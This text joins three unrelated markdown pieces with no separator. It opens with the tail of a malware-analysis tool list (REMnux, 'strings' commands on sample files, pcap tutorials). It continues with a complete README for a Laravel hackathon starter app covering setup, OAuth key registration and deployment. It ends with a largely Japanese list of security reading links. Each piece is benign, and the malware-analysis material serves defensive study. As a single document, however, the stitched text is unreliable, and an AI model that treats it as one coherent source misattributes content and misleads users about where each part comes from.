for reverse-engineering and analyzing malicious software. REMnux provides a curated collection of free tools created by the community. Analysts can use it to investigate malware without having to find, install, and configure the tools. Lots of tools in /opt/ folder. - [Santoku Linux](https://github.com/santoku/Santoku-Linux) - _Linux Distro for Mobile Security, Malware Analysis, and Forensics [santoku-linux.com](https://santoku-linux.com)._ ## Strings Commands ```` strings training-sample > str.txt strings -w maliciousfile.o | less sudo strings /dev/mem | less ```` - [AMSITrigger](https://github.com/RythmStick/AMSITrigger) - The Hunt for Malicious Strings. ## Tutorials and practise - [Malware-traffic-analysis.net](https://malware-traffic-analysis.net) - A source for pcap files and malware samples. - [Php-malware-analysis by bediger4000](https://github.com/bediger4000/php-malware-analysis) - Deobfuscation and analysis of PHP malware captured by a WordPress honey pot. - [Reverse-php-malware ProTechEx](https://github.com/ProTechEx/reverse-php-malware) - An aid to de-obfuscating PHP malware. - [Volume 0x1: Analysis](https://taomm.org/vol1/pdfs.html) - [Wireshark Tutorial: Examining Traffic from Hancitor Infections](https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/) - [pan-unit42 - wireshark-tutorial-Hancitor-traffic](https://github.com/pan-unit42/wireshark-tutorial-Hancitor-traffic) - zip archives of pcaps for Wireshark tutorial about examining Hancitor infection traffic. Password is `infected`. ## PHP - [Psalm](https://github.com/vimeo/psalm) - A static analysis tool for finding errors in PHP applications - [Reverse PHP Mmalware](https://github.com/bediger4000/reverse-php-malware) - De-obfuscate and reverse engineer PHP malware. ## VMware - [VMwareCloak](https://github.com/d4rksystem/VMwareCloak) - A PowerShell script that attempts to help malware analysts hide their VMware Windows VM's from malware that may be trying to evade analysis.

 # Laravel Hackathon Starter - SUSUMU 進  [](https://travis-ci.org/unicodeveloper/laravel-hackathon-starter) [](https://scrutinizer-ci.com/g/unicodeveloper/laravel-hackathon-starter) If you have attended any hackathons in the past, then you know how much time it takes to get a project started: decide on what to build, pick a programming language, pick a web framework, pick a CSS framework. A while later, you might have an initial project up on GitHub and only then can other team members start contributing. Or how about doing something as simple as *Sign in with Facebook* authentication? You can spend hours on it if you are not familiar with how OAuth 2.0 works. Even if you are not using this for a hackathon, Laravel Hackathon Starter is sure to save any developer hours or even days of development time and can serve as a learning guide for web developers. Laravel is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as authentication, routing, sessions, queueing, and caching. Laravel Hackathon Starter is a boilerplate application developed with Laravel 5.2 to keep you ahead in hackathons. <h4 align="center">Modern Theme</h4>  <h4 align="center">API Examples</h4>  Table of Contents ----------------- - [Features](#features) - [Prerequisites](#prerequisites) - [Getting Started](#getting-started) - [Generator](#generator) - [Obtaining API Keys](#obtaining-api-keys) - [Project Structure](#project-structure) - [List of Packages](#list-of-packages) - [Useful Tools and Resources](#useful-tools-and-resources) - [Recommended Design Resources](#recommended-design-resources) - [Recommended Laravel Libraries](#recommended-laravel-libraries) - [Pro Tips](#pro-tips) - [FAQ](#faq) - [How It Works](#how-it-works-mini-guides) - [Laravel Eloquent Cheatsheet](#laravel-eloquent-cheatsheet) - [Deployment](#deployment) - [Changelog](#changelog) - [Contributing](#contributing) - [License](#license) Features -------- - **Local Authentication** using Email and Password - **OAuth 1.0a Authentication** via Twitter - **OAuth 2.0 Authentication** via Facebook, Google, GitHub, LinkedIn, Instagram - Flash notifications - MVC Project Structure - Bootstrap 3 - Contact Form (powered by Mailgun, Sendgrid or Mandrill) - **Account Management** - Gravatar - Profile Details - Change Password - Forgot Password - Reset Password - Delete Account - CSRF protection - **API Examples**: Facebook, Foursquare, Last.fm, Tumblr, Twitter, Stripe, LinkedIn and more. - **Automatic Documentation** Prerequisites ------------- - [Mysql](https://www.mysql.com/) or [Postgresql](http://www.postgresql.org/) - [PHP 5.4+](http://php.net/) - Command Line Tools - <img src="http://deluge-torrent.org/images/apple-logo.gif" height="17">&nbsp;**Mac OS X:** [Xcode](https://itunes.apple.com/us/app/xcode/id497799835?mt=12) (or **OS X 10.9+**: `xcode-select --install`) - <img src="http://dc942d419843af05523b-ff74ae13537a01be6cfec5927837dcfe.r14.cf1.rackcdn.com/wp-content/uploads/windows-8-50x50.jpg" height="17">&nbsp;**Windows:** [Visual Studio](https://www.visualstudio.com/products/visual-studio-community-vs) - <img src="https://lh5.googleusercontent.com/-2YS1ceHWyys/AAAAAAAAAAI/AAAAAAAAAAc/0LCb_tsTvmU/s46-c-k/photo.jpg" height="17">&nbsp;**Ubuntu** / <img src="https://upload.wikimedia.org/wikipedia/commons/3/3f/Logo_Linux_Mint.png" height="17">&nbsp;**Linux Mint:** `sudo apt-get install build-essential` - <img src="http://i1-news.softpedia-static.com/images/extra/LINUX/small/slw218news1.png" height="17">&nbsp;**Fedora**: `sudo dnf groupinstall "Development Tools"` - <img src="https://en.opensuse.org/images/b/be/Logo-geeko_head.png" height="17">&nbsp;**OpenSUSE:** `sudo zypper install --type pattern devel_basis` - <img src="https://global-uploads.webflow.com/5ea1b599e88dc9edc465e8f5/5ea8b30dd43a0b44bbc91bd8_favicon-32x32.png" height="17">&nbsp;**Optic:** `npm install -g @useoptic/cli` (needed for automatic documentation) **Note:** If you are new to Laravel, I recommend to watch [Laravel From Scratch](https://laracasts.com/series/laravel-5-from-scratch) screencast by Jeffery Way that teaches Laravel 5 from scratch. Alternatively, here is another great tutorial for building a project management app for beginners/intermediate developers - [How to build a project management app in Laravel 5](http://goodheads.io/2015/09/16/how-to-build-a-project-management-app-in-laravel-5-part-1/). Getting Started --------------- #### Via Cloning The Repository: ```bash # Get the project git clone https://github.com/unicodeveloper/laravel-hackathon-starter.git hackathon-starter-pack # Change directory cd hackathon-starter-pack # Copy .env.example to .env cp .env.example .env # Create a database (with mysql or postgresql) # And update .env file with database credentials # DB_CONNECTION=mysql # DB_HOST=127.0.0.1 # DB_DATABASE=laravelhackathon # DB_USERNAME=root # DB_PASSWORD=root # Install Composer dependencies composer install # Generate application secure key (in .env file) php artisan key:generate # Generate application secure key (in .env file) php artisan key:generate php artisan serve ``` #### Via The Installer: First, download the Laravel Hackathon Starter Pack Installer using Composer: composer global require "unicodeveloper/hackathon-installer" Make sure to place the `~/.composer/vendor/bin` directory (or the equivalent directory for your OS) in your PATH so the `larathon` executable can be located by your system. Once installed, the `larathon new` command will create a fresh Laravel Hackathon Starter Pack installation in the directory you specify. For instance, `larathon new mvp` will create a directory named `mvp` containing a fresh Laravel Hackathon Starter Pack installation with all of it's dependencies already installed. This method of installation is much faster than installing via Composer: larathon new mvp #### Via Composer Create-Project Alternatively, you may also install Laravel Hackathon Starter Pack by issuing the Composer `create-project` command in your terminal: composer create-project --prefer-dist unicodeveloper/laravel-hackathon-starter hotel This starter pack includes the following APIs. You will need to obtain appropriate credentials like Client ID, zClient secret, API key, or Username & Password by going through each provider and generate new credentials. * Cloudder * Twitter * Twillo * Github * Slack * Socialite Providers * Socialite LinkedIn Obtaining API Keys ------------------ <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Google_2015_logo.svg/1000px-Google_2015_logo.svg.png" width="200"> - Visit [Google Cloud Console](https://cloud.google.com/console/project) - Click on the **Create Project** button - Enter *Project Name*, then click on **Create** button - Then click on *APIs & auth* in the sidebar and select *API* tab - Click on **Google+ API** under *Social APIs*, then click **Enable API** - Next, under *APIs & auth* in the sidebar click on *Credentials* tab - Click on **Create new Client ID** button - Select *Web Application* and click on **Configure Consent Screen** - Fill out the required fields then click on **Save** - In the *Create Client ID* modal dialog: - **Application Type**: Web Application - **Authorized Javascript origins**: http://localhost:3000 - **Authorized redirect URI**: http://localhost:3000/auth/google/callback - Click on **Create Client ID** button - Copy and paste *Client ID* and *Client secret* keys into `.env` **Note:** When you ready to deploy to production don't forget to add your new url to *Authorized Javascript origins* and *Authorized redirect URI*, e.g. `http://my-awesome-app.herokuapp.com` and `http://my-awesome-app.herokuapp.com/auth/google/callback` respectively. The same goes for other providers. <hr> <img src="http://www.doit.ba/img/facebook.jpg" width="200"> - Visit [Facebook Developers](https://developers.facebook.com/) - Click **My Apps**, then select **Add a New App* from the dropdown menu - Select **Website** platform and enter a new name for your app - Click on the **Create New Facebook App ID** button - Choose a **Category** that best describes your app - Click on **Create App ID** button - In the upper right corner click on **Skip Quick Star** - Copy and paste *App ID* and *App Secret* keys into `.env` - **Note:** *App ID* is **clientID**, *App Secret* is **clientSecret** - Click on the *Settings* tab in the left nav, then click on **+ Add Platform** - Select **Website** - Enter `http://localhost:3000` under *Site URL* **Note:** After a successful sign in with Facebook, a user will be redirected back to home page with appended hash `#_=_` in the URL. It is *not* a bug. See this [Stack Overflow](https://stackoverflow.com/questions/7131909/facebook-callback-appends-to-return-url) discussion for ways to handle it. <hr> <img src="https://github.global.ssl.fastly.net/images/modules/logos_page/GitHub-Logo.png" width="200"> - Go to [Account Settings](https://github.com/settings/profile) - Select **Applications** from the sidebar - Then inside **Developer applications** click on **Register new application** - Enter *Application Name* and *Homepage URL* - For *Authorization Callback URL*: http://localhost:3000/auth/github/callback - Click **Register application** - Now copy and paste *Client ID* and *Client Secret* keys into `.env` file <hr> <img src="https://g.twimg.com/ios_homescreen_icon.png" width="90"> - Sign in at [https://apps.twitter.com/](https://apps.twitter.com/) - Click **Create a new application** - Enter your application name, website and description - For **Callback URL**: http://127.0.0.1:3000/auth/twitter/callback - Go to **Settings** tab - Under *Application Type* select **Read and Write** access - Check the box **Allow this application to be used to Sign in with Twitter** - Click **Update this Twitter's applications settings** - Copy and paste *Consumer Key* and *Consumer Secret* keys into `.env` file <hr> <img src="http://www.danpontefract.com/wp-content/uploads/2014/02/logo-linkedin.png" width="200"> - Sign in at [LinkedIn Developer Network](https://developer.linkedin.com/) - From the account name dropdown menu select **API Keys** - *It may ask you to sign in once again* - Click **+ Add New Application** button - Fill out all the *required* fields - **OAuth 2.0 Redirect URLs**: http://localhost:3000/auth/linkedin/callback - **JavaScript API Domains**: http://localhost:3000 - For **Default Application Permissions** make sure at least the following is checked: - `r_basicprofile` - Finish by clicking **Add Application** button - Copy and paste *API Key* and *Secret Key* keys into `.env` file - *API Key* is your **clientID** - *Secret Key* is your **clientSecret** <hr> <img src="https://stripe.com/img/about/logos/logos/[email protected]" width="200"> - [Sign up](https://stripe.com/) or log into your [dashboard](https://manage.stripe.com) - Click on your profile and click on Account Settings - Then click on [API Keys](https://manage.stripe.com/account/apikeys) - Copy the **Secret Key**. and add this into `.env` file <hr> <img src="https://cdn.pixabay.com/photo/2015/05/26/09/37/paypal-784404_960_720.png" width="200"> - Visit [PayPal Developer](https://developer.paypal.com/) - Log in to your PayPal account - Click **Applications > Create App** in the navigation bar - Enter *Application Name*, then click **Create app** - Copy and paste *Client ID* and *Secret* keys into `.env` file - *App ID* is **client_id**, *App Secret* is **client_secret** - Change **host** to api.paypal.com if you want to test against production and use the live credentials <hr> <img src="http://33.media.tumblr.com/ffaf0075be879b3ab0b87f0b8bcc6814/tumblr_inline_n965bkOymr1qzxhga.png" width="200"> - Go to [foursquare for Developers](https://developer.foursquare.com/) - Click on **My Apps** in the top menu - Click the **Create A New App** button - Enter *App Name*, *Welcome page url*, - For **Redirect URI**: http://localhost:3000/auth/foursquare/callback - Click **Save Changes** - Copy and paste *Client ID* and *Client Secret* keys into `.env` file <hr> <img src="http://img4.wikia.nocookie.net/__cb20130520163346/logopedia/images/8/8d/Tumblr_logo_by_x_1337_x-d5ikwpp.png" width="200"> - Go to http://www.tumblr.com/oauth/apps - Once signed in, click **+Register application** - Fill in all the details - For **Default Callback URL**: http://localhost:3000/auth/tumblr/callback - Click **✔Register** - Copy and paste *OAuth consumer key* and *OAuth consumer secret* keys into `.env` file <hr> <img src="http://www.technologytell.com/gaming/files/2012/01/steam_logo.jpg" width="200"> - Go to http://steamcommunity.com/dev/apikey - Sign in with your existing Steam account - Enter your *Domain Name*, then and click **Register** - Copy and paste *Key* into `.env` file <hr> <img src="http://iandouglas.com/presentations/pyconca2012/logos/sendgrid_logo.png" width="200"> - Go to https://sendgrid.com/user/signup - Sign up and **confirm** your account via the *activation email* - Then enter your SendGrid *Username* and *Password* into `.env` file <hr> <img src="https://raw.github.com/mailgun/media/master/Mailgun_Primary.png" width="200"> - Go to http://www.mailgun.com - Sign up and add your *Domain Name* - From the domain overview, copy and paste the default SMTP *Login* and *Password* into `.env` file <hr> <img src="http://cdn.appstorm.net/web.appstorm.net/web/files/2013/12/mandrill-logo.png" width="100"> - Go to http://mandrill.com - Sign up and add your *Domain Name* - From the dashboard, click on *Get SMTP credentials* - Copy and paste the default SMTP *Login* and *Password* into `.env` file <hr> <img src="https://www.bitgo.com/img/new_bitgo/logo_footer.png" width="200"> - Go to https://test.bitgo.com/ - Sign up for an account. - Once logged into the dashboard, go to the top right selector and click 'account settings' - Under the developers tab, create your access token and copy and paste it into `.env` file <hr> <img src="https://s3.amazonaws.com/ahoy-assets.twilio.com/global/images/wordmark.svg" width="200"> - Go to https://www.twilio.com/try-twilio - Sign up for an account. - Once logged into the dashboard, expand the link 'show api credentials' - Copy your Account Sid and Auth Token run ```php artisan vendor:publish``` Project Structure ----------------- | Name | Description | | ---------------------------------- | ------------------------------------------------------------ | | **config**/app.php | Configuration for service providers and facades | | **config**/auth.php | Configuration for password resets | | **config**/broadcasting.php | Configuration for broadcasting | | **config**/cache.php | Configuration for cache generation and storage | | **config**/cloudder.php | Configuration for cloudinary | | **config**/compile.php | Configuration for compilation | | **config**/database.php | Configuration for database drivers | | **config**/filesystems.php | Configuration for different file systems | | **config**/github.php | Configuration for github API | | **config**/mail.php | Configuration for mails | | **config**/queue.php | Configuration for queue | | **config**/services.php | Configuration for several services like mailgun etc. | | **config**/session.php | Configuration for sessions | | **config**/ttwitter.php | Twitter API config file | | **config**/twilio.php | Twilio API config file | | **config**/view.php | Configuration for location of views and view cache | | **controllers**/AccountController.php | Controller for Account management | | **controllers**/AviaryController.php | Controller for Aviary API functionality | | **controllers**/ClockworkController.php | Controller for Clockwork API functionality | | **controllers**/ContactController.php | Controller for Contact page | | **controllers**/Controller.php | BaseController | | **controllers**/GithubController.php | Controller for Github API functionality | | **controllers**/LastFmController.php | Controller for LastFM API functionality | | **controllers**/LobController.php | Controller for Lob API functionality. | | **controllers**/NytController.php | Controller for New York Times API functionality | | **controllers**/OauthController.php | Controller for Oauthentication | | **controllers**/PaypalController.php | Controller for Paypal API functionality | | **controllers**/SteamController.php | Controller for Stream API functionality | | **controllers**/StripeController.php | Controller for Stripe API functionality | | **controllers**/TwilioController.php | Controller for Twilio API functionality | | **controllers**/TwitterController.php | Controller for Twitter API functionality | | **controllers**/WebScrapingController.php| Controller for Web Scraping. | | **controllers**/YahooController.php | Controller for Yahoo API functionality | | **controllers**/user.js | Controller for user account management. | | **models**/User.php | Model for User. | | **public**/ | Static assets (fonts, css, js, img). | | **public**/**css**/main.css | Main stylesheet for your app. | | **resources/views/account**/ | Templates for *login, password reset, signup, profile*. | | **views/api**/ | Templates for API Examples. | | **views/partials**/alerts.blade.php | Error, info and success flash notifications. | | **views/partials**/navbar.blade.php | Navbar partial template. | | **views**/layouts**/master.blade.php | Base template. | | **views**/apidashboard.blade.php | API dashboard template. | | **views**/contact.blade.php | Contact page template. | | **views**/welcome.blade.php | Home page template. | | .travis.yml | [Travis CI](https://travis-ci.org/) integration. | | .env.example | Your API keys, tokens, passwords and database URI. | | composer.json | File for loading all php packages. | | package.json | File for loading all necessary node modules. | | artisan | File for enabling commands to run | List of Packages ---------------- | Package | Description | | ------------------------------- | --------------------------------------------------------------------- | | socialite | Sign-in with Facebook, Twitter and Github | | socialite providers | Sign-in with LinkedIn, Instagram | | cloudder | Upload images to Cloudinary | | laravel github | Github API library | | clockwork | Clockwork SMS API library. | | goutte | Scrape web pages using jQuery-style syntax. | | laravel framework | PHP web framework | | twitter | Twitter API library | | twilio | Twilio API library | | lob-php | Lob API library | | lastfm-api-wrapper | Lastfm API library | | phpunit | PHP testing library | | guzzlehttp | Simplified HTTP Request library | Useful Tools and Resources -------------------------- - [Laravel Daily](http://laraveldaily.com/) - Awesome laravel tips daily - [Laravel News](https://laravel-news.com/) - Laravel and PHP tutorials. - [Goodheads](http://goodheads.io) - Laravel, PHP and JS tutorials - [Favicon Generator](http://realfavicongenerator.net/) - Generate favicons for PC, Android, iOS, Windows 8. Recommended Design Resources ---------------------------- - [Code Guide](http://codeguide.co/) - Standards for developing flexible, durable, and sustainable HTML and CSS. - [Bootsnipp](http://bootsnipp.com/) - Code snippets for Bootstrap. - [UIBox](http://www.uibox.in) - Curated HTML, CSS, JS, UI components. - [Bootstrap Zero](https://www.bootstrapzero.com) - Free Bootstrap templates themes. - [Google Bootstrap](http://todc.github.io/todc-bootstrap/) - Google-styled theme for Bootstrap. - [Font Awesome Icons](http://fortawesome.github.io/Font-Awesome/icons/) - It's already part of the Hackathon Starter, so use this page as a reference. - [Colors](http://clrs.cc) - A nicer color palette for the web. - [Creative Button Styles](http://tympanus.net/Development/CreativeButtons/) - awesome button styles. - [Creative Link Effects](http://tympanus.net/Development/CreativeLinkEffects/) - Beautiful link effects in CSS. - [Medium Scroll Effect](http://codepen.io/andreasstorm/pen/pyjEh) - Fade in/out header background image as you scroll. - [GeoPattern](https://github.com/btmills/geopattern) - SVG background pattern generator. - [Trianglify](https://github.com/qrohlf/trianglify) - SVG low-poly background pattern generator. Recommended Laravel Libraries ----------------------------- - [laravel-medialibrary](https://github.com/spatie/laravel-medialibrary) - Associated media files with your Eloquent models easily. - [laravel-emoji](https://github.com/unicodeveloper/laravel-emoji) - For using emojis in your app - [laravel-quotes](https://github.com/unicodeveloper/laravel-quotes) - For using all sorts of quotes especially DJKHALED in your app Enabling Automatic Documentation ----------------------------- Using [Optic](https://github.com/opticdev/optic), you can use your API like normal, automatically documenting changes in behavior. To enable this, you'll first need to download Optic. ```bash npm install -g @useoptic/cli ``` Once you've installed Optic, you can start documenting your requests by running `api start`. Running this command will create a proxied version of your api, available at [localhost:4000](http://localhost:4000) - now, you can use the API like normal here, and Optic will automatically notice differences in the documented behavior, allowing you to automatically create documentation as your API changes. To view the current documentation of the api, run `api spec` at the root directory. #### Useful Commands ```bash api start # use this to start monitoring your API api spec # use this to inspect the current documentation of your API api generate:oas # generates an OpenAPI specification for your currently documented API ``` For more information about Optic, [check out the docs](https://docs.useoptic.com). FAQ --- ### Why do I get `Token Mismatch Exception` when submitting a form? You need to add the following hidden input element to your form. This has been added in the existing codebase as part of the CSRF protection. ``` {!! csrf_field() !!} ``` ### I get a whoops error when I deploy my app, why? Chances are you haven't generated the app key, so run `php artisan key:generate`. Chances are you haven't put your credentials in your .env file. How It Works (mini guides) -------------------------- This section is intended for giving you a detailed explanation about how a particular functionality works. Maybe you are just curious about how it works, or maybe you are lost and confused while reading the code, I hope it provides some guidance to you. <hr> ### How do flash messages work in this project? Flash messages allow you to display a message at the end of the request and access it on next request and only next request. For instance, on a failed login attempt, you would display an alert with some error message, but as soon as you refresh that page or visit a different page and come back to the login page, that error message will be gone. It is only displayed once. All flash messages are available in your views via laravel sessions. <hr> ### How do I create a new page? A more correct way to be to say "How do I create a new route". The main file `routes.php` contains all the routes. Each route has a callback function associated with it. Sometimes you will see 3 or more arguments to routes. In cases like that, the first argument is still a URL string, while middle arguments are what's called middleware. Think of middleware as a door. If this door prevents you from continuing forward, you won't get to your callback function. One such example is a route that requires authentication. ```php Route::get('/account', 'UserController@getAccount'); ``` It always goes from left to right. A user visits `/account` page. Then `auth` middleware checks if you are authenticated: ```php Route::get('/account', [ 'uses' => 'AccountController@getAccountPage', 'as' => 'account.dashboard', 'middleware' => ['auth'] ]); ``` If you are authenticated, you let this visitor pass through your "door" by calling `return $next($request);` in the auth middleware and if you are authenticated, you will be redirected to *Account Management* page, otherwise you will be redirected to *Login* page. Here is a typical workflow for adding new routes to your application. Let's say we are building a page that lists all books from database. **Step 1.** Start by defining a route. ```php Route::get('/books', 'BookController@getBooks'); ``` --- **Step 2.** Create a new model `Book.php` inside the *app* directory. You can simply run `php artisan make:model Book` ```php namespace App; class Book { /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'name', 'isbn', ]; } ``` **Step 3.** Create a migration file like so: `php artisan make:migration create_books_table` ```php use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateBooksTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('books', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->string('isbn'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('books'); } } ``` **Step 4.** Create a new controller file called `BookController` inside the *app/Http/Controllers* directory. You can simply run `php artisan make:controller BookController` ```php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Book; use App\Http\Requests; use App\Http\Controllers\Controller; class BookController extends Controller { /** * Return all books * @return mixed */ public function getBooks() { $books = Book::all(); return view('books')->withBooks($books); } } ``` **Step 5.** Create `books.blade.php` template. ```php @extends('layouts.master') @section('content') <div class="main-container"> @include('layouts.partials.alerts') <div class="page-header"> <h2><i style="color: #f00" class="fa fa-book"></i>All Books</h2> </div> <ul> @foreach ($books as $book) <li> {{ $book->name }} </li> @endforeach </div> </div> @stop ``` That's it! <hr> Laravel Eloquent Cheatsheet ------------------- * [Eloquent Cheatsheet](http://cheats.jesse-obrien.ca/) Deployment ---------- Once you are ready to deploy your app, you will need to create an account with a cloud platform to host it. These are not the only choices, but they are my top picks. From my experience, **Heroku** is the easiest to get started with, deployments and custom domain support on free accounts. ### 1-Step Deployment with Heroku <img src="http://blog.exadel.com/wp-content/uploads/2013/10/heroku-Logo-1.jpg" width="200"> - Download and install [Heroku Toolbelt](https://toolbelt.heroku.com/) - In terminal, run `heroku login` and enter your Heroku credentials - From *your app* directory run `heroku create` - Create a Procfile in your app root. All this file needs to contain is `web: vendor/bin/heroku-php-nginx public` or `web: vendor/bin/heroku-php-apache2 public` if you prefer to use nginx. - Run `heroku addons:add heroku-postgresql:dev ` to add a Postgres database to your heroku app from your terminal - Lastly, do `git push heroku master`. Done! - Run artisan commands on heroku like so `heroku run php artisan migrate` **Note:** To install Heroku add-ons your account must be verified. --- - Finally, you can now push your code to OpenShift by running `git push -f openshift master` - **Note:** The first time you run this command, you have to pass `-f` (force) flag because OpenShift creates a dummy server with the welcome page when you create a new Node.js app. Passing `-f` flag will override everything with your *Hackathon Starter* project repository. **Do not** run `git pull` as it will create unnecessary merge conflicts. - And you are done! <img src="https://upload.wikimedia.org/wikipedia/commons/f/ff/Windows_Azure_logo.png" width="200"> - Login to [Windows Azure Management Portal](https://manage.windowsazure.com/) - Click the **+ NEW** button on the bottom left of the portal - Click **COMPUTE**, then **WEB APP**, then **QUICK CREATE** - Enter a name for **URL** and select the datacenter **REGION** for your web site - Click on **CREATE WEB APP** button - Once the web site status changes to *Running*, click on the name of the web site to access the Dashboard - At the bottom right of the Quickstart page, select **Set up a deployment from source control** - Select **Local Git repository** from the list, and then click the arrow - To enable Git publishing, Azure will ask you to create a user name and password - Once the Git repository is ready, you will be presented with a **GIT URL** - Inside your *Hackathon Starter* directory, run `git remote add azure [Azure Git URL]` - To push your changes simply run `git push azure master` - **Note:** *You will be prompted for the password you created earlier* - On **Deployments** tab of your Windows Azure Web App, you will see the deployment history **Note:** Alternative directions, including how to setup the project with a DevOps pipeline are available at [http://ibm.biz/hackstart](http://ibm.biz/hackstart). A longer version of these instructions with screenshots is available at [http://ibm.biz/hackstart2](http://ibm.biz/hackstart2). Also, be sure to check out the [Jump-start your hackathon efforts with DevOps Services and Bluemix](https://www.youtube.com/watch?v=twvyqRnutss) video. ## Contributing Thank you for considering contributing to Laravel Hackathon Starter. The contribution guide can be found in the [Contribution File](CONTRIBUTING.md) ## Security Vulnerabilities If you discover a security vulnerability within Laravel Hackathon Starter, please send an e-mail to Prosper Otemuyiwa at [email protected]. All security vulnerabilities will be promptly addressed. ## Credits * [Sahat Yalkabov](https://github.com/sahat/hackathon-starter) - Awesome ## How can I thank you? Why not star the github repo? I'd love the attention! Why not share the link for this repository on Twitter or HackerNews? Spread the word! Don't forget to [follow me on twitter](https://twitter.com/unicodeveloper)! Thanks! Prosper Otemuyiwa. ## License The MIT License (MIT). Please see [License File](LICENSE.md) for more information.

# Security Tips - [Binary](./binary.md) - [Chaos Engineering](./chaos-engineering.md) - [CISO](./ciso.md) - [Cloud](./cloud.md) - [Cryptography](./cryptography.md) - [CSIRT](./csirt.md) - [CTF](./ctf.md) - [DNS](./dns.md) - [Framework](./framework.md) - [Game](./game.md) - [General](./general.md) - [Hacking](./hacking.md) - [History](./history.md) - [JavaScript](./javascript.md) - [Law](./law.md) - [License](./license_.md) - [Machine Learning](./machine-learning.md) - [Malware](./malware.md) - [Python](./python.md) - [Red Team](./red-team.md) - [Study Platform](./study-platform.md) - [Tool](./tool.md) - [Web](./web.md) - [Other](./other.md) ## Android - [Android Security 安全なアプリケーションを作成するために](https://book.impress.co.jp/books/3134) ## Architecture - [セキュア・バイ・デザイン](https://book.mynavi.jp/ec/products/detail/id=124056) ## Authentication / Authorization ### General - [C向けサービスで 使われている認証方式と安全な使い方](https://speakerdeck.com/ritou/cxiang-kesabisude-shi-wareteiruren-zheng-fang-shi-toan-quan-nashi-ifang) - [Passwords Evolved: Authentication Guidance for the Modern Era](https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/) ### OAuth - [OAuth 2.0 Security Best Current Practice draft-ietf-oauth-security-topics-19](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-4.2.4) - [雰囲気で使わずきちんと理解する！整理してOAuth2.0を使うためのチュートリアルガイド](https://tatsu-zine.com/books/oauth2-tutorial-guide) - [【電子版】OAuth、OAuth認証、OpenID Connectの違いを整理して理解できる本](https://booth.pm/ja/items/1550861) - [OAuth & OIDC 勉強会 【入門編】](https://www.authlete.com/ja/resources/videos/20200317/) - [OAuth & OIDC 勉強会 【アクセストークン編】](https://www.authlete.com/ja/resources/videos/20200422/) ### JWT - [攻撃して学ぶJWT【ハンズオンあり】](https://moneyforward.com/engineers_blog/2020/09/15/jwt/) - [セキュリティ視点からの JWT 入門](https://scgajge12.hateFnablog.com/entry/jwt_security) - [2020年版 チーム内勉強会資料その1 : JSON Web Token](https://ritou.hatenablog.com/entry/2020/06/08/050000) ### SAML - [进宫 SAML 2.0 安全](https://paper.seebug.org/2006/) ## Browser - [電子情報学特論：Chromiumのアーキテクチャを解き明かす](https://docs.google.com/presentation/d/12wd3hLkXVny0b5LnzizmH_3xe8zJ2WY5_9JprfIkp-o) - [Inside look at modern web browser (part 1)](https://developer.chrome.com/blog/inside-browser-part1/) - [Inside look at modern web browser (part 2)](https://developer.chrome.com/blog/inside-browser-part2/) - [Inside look at modern web browser (part 3)](https://developer.chrome.com/blog/inside-browser-part3/) - [Inside look at modern web browser (part 4)](https://developer.chrome.com/blog/inside-browser-part4/) - [Awesome browser security](https://github.com/cezary-sec/awesome-browser-security/) - [Webブラウザセキュリティ ― Webアプリケーションの安全性を支える仕組みを整理する](https://www.lambdanote.com/products/wbs) ## Bug Bounty ### Company - [cybozu](https://cybozu.co.jp/products/bug-bounty/?_gl=1*f7188t*_ga*MTcyNDg1MzM5OC4xNjcwMzkzODM4*_ga_T5K95WXL54*MTY3MDM5MzgzNy4xLjAuMTY3MDM5MzgzNy42MC4wLjA.&_ga=2.194586925.1283897749.1670393838-1724853398.1670393838) - [LINE](https://bugbounty.linecorp.com/) ### Platform - [IssueHunt](https://bounty.issuehunt.io/company) - [HackerOne](https://www.hackerone.com/) - [Initigriti](https://www.intigriti.com/) ### Knowledge - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - [urlscan.io](https://urlscan.io/) - [IPAddress.com](https://www.ipaddress.com/) - [trickest/cve](https://github.com/trickest/cve) - [grep.app](https://grep.app/) - [Github Code Search](https://cs.github.com/) - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - [AttackerKB](https://attackerkb.com/topics) ## Career - [セキュリティエンジニアへの道：私のキャリアチェンジ物語](https://engineering.mercari.com/blog/entry/2020-05-14-121008/) - [放送大学と学位授与機構で情報工学の学位を取る（科目対応表付き）](https://note.com/lumpsucker/n/nef2ffd3f164f) - [海外大学のCS修士課程に進学することになった](https://zenn.dev/k_n/articles/3998fcb5b372e9) - [文系出身者がジョージア工科大学のコンピュータサイエンス修士に合格するまで](https://zenn.dev/tofu511/articles/49b81ec2b6883e) - [趣味のプログラミングで博士号を取った社会人の覚え書き](https://zenn.dev/canard0328/articles/memorandum-of-phd) - [See Yourself in Cyber with OffSec: Penetration Testing](https://www.offensive-security.com/penetration-testing/see-yourself-as-a-pentester/) - [Cyber Security Career Pathways](https://blog.marcolancini.it/2022/blog-cyber-security-career-pathways/) - [A rough guide to launching a career in cybersecurity](https://portswigger.net/daily-swig/a-rough-guide-to-launching-a-career-in-cybersecurity) - [How to become a penetration tester: Part 1 – your path into offensive security testing](https://portswigger.net/daily-swig/how-to-become-a-penetration-tester-part-1-your-path-into-offensive-security-testing) - [How to become a penetration tester: Part 2 – ‘Mr hacking’ John Jackson on the virtue of ‘endless curiosity’](https://portswigger.net/daily-swig/how-to-become-a-penetration-tester-part-2-mr-hacking-john-jackson-on-the-virtue-of-endless-curiosity) ## Case Study - [1,000プロジェクトを越えるサイバーエージェントグループのクラウドセキュリティモニタリング](https://developers.cyberagent.co.jp/blog/archives/35053/) - [プロダクトコードの静的解析にhorusecを入れた話](https://developers.freee.co.jp/entry/sast-in-product-code) - [ZOZOにおけるID基盤のk8sへのリプレイスとセキュリティの取り組み](https://speakerdeck.com/kameikki/authentication-service-replacement-and-security-efforts-of-zozotown-cndt2020) - [GitHub API を使ったリポジトリの監査を始めました](https://tech.techtouch.jp/entry/github_audit_branch_with_api) 